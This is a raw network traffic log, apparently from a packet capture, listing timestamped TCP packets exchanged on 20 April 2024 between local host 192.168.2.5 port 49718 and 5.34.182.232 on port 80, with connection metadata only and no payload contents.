Apr 20, 2024 10:23:48.155950069 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155951023 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155957937 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.156006098 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.389921904 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.389950991 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.389980078 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.389992952 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390005112 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390016079 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390023947 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.390031099 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390047073 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390052080 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.390103102 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.390495062 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390539885 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.390655041 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390669107 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390681028 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390696049 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390701056 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.390707970 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390722036 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390734911 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390739918 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.390748978 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390762091 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390768051 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.390774965 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390789032 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390793085 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.390803099 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390815973 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.390816927 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390855074 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.390856028 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390867949 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390881062 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390891075 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.390893936 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390906096 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390918016 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390932083 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.390933990 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390948057 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390963078 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390971899 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.390975952 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.390989065 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391000986 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391001940 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391026974 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391050100 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391079903 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391092062 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391103983 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391115904 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391122103 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391127110 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391139030 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391150951 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391163111 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391165018 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391174078 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391186953 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391196012 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391199112 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391211987 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391218901 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391223907 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391236067 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391242981 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391247988 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391263008 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391268969 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391275883 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391288042 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391294956 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391299963 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391310930 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391324043 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391336918 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391338110 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391350985 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391365051 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391366959 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391377926 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391391993 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391405106 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391407013 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391417980 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391452074 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391464949 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391474009 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391477108 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391489029 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391501904 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391503096 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391515017 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391529083 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391539097 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391540051 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391551971 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391566038 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391566992 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391581059 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391592026 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391593933 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391608000 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391613960 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391622066 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391634941 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391637087 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391647100 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391658068 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391665936 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391696930 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391863108 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391875982 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391887903 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391901016 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391906977 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391912937 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391925097 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391932964 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391941071 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391952991 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391957045 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391964912 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391979933 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.391983032 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.391997099 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392007113 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.392010927 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392023087 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392035007 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.392036915 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392051935 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392064095 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392076015 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392076969 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.392088890 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392107964 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392117023 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.392121077 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392132998 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392143965 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.392144918 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392157078 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392168999 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392170906 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.392179966 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392195940 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392198086 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.392208099 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392220020 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392230034 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.392231941 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392244101 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392257929 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392268896 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392280102 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.392281055 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392292976 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392304897 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392317057 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392321110 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.392328978 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392340899 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392345905 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.392353058 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392365932 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392373085 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.392379045 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392391920 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392394066 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.392402887 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392415047 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392427921 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392440081 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392452955 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392465115 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392477036 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392489910 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392504930 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392517090 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392529964 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392581940 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392594099 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392606974 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392620087 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392623901 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.392632961 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392646074 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392658949 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392669916 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392683029 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392694950 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392707109 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392720938 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392733097 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392745972 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392759085 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392771006 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392787933 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392801046 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392815113 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392828941 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392828941 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.392841101 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392853975 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392863035 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.392867088 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392879963 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392887115 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.392891884 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392904997 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392910957 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.392918110 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392944098 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392956018 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392956018 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.392967939 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392980099 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392985106 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.392992973 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.392993927 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393004894 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393016100 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393017054 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393028975 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393042088 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393043041 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393052101 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393064022 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393064976 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393076897 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393086910 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393089056 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393104076 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393114090 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393114090 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393116951 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393130064 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393136024 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393146038 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393157005 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393158913 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393171072 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393187046 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393194914 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393198967 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393212080 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393224001 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393229008 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393238068 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393249035 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393251896 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393265009 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393276930 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393277884 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393289089 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393301010 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393306017 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393312931 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393323898 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393333912 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393337011 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393347979 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393361092 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393362999 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393373013 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393384933 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393385887 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393397093 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393409014 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393410921 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393424034 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393434048 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393436909 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393448114 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393460035 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393462896 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393471956 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393484116 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393488884 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393496037 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393508911 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393513918 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393522024 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393534899 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393537045 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393546104 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393558979 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393562078 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393574953 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393588066 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393599987 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393604040 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393611908 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393624067 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393635035 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393636942 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393646955 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393660069 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393662930 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393671036 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393682957 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393687010 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393697023 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393707991 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393721104 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393723011 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393733978 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393747091 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393759966 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393759966 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393773079 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393785000 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393786907 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393801928 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393814087 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393815994 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393826008 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393837929 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393847942 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393851042 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393862963 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393872976 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.393876076 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393889904 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.393898964 CEST	49718	80	192.168.2.5	5.34.182.232
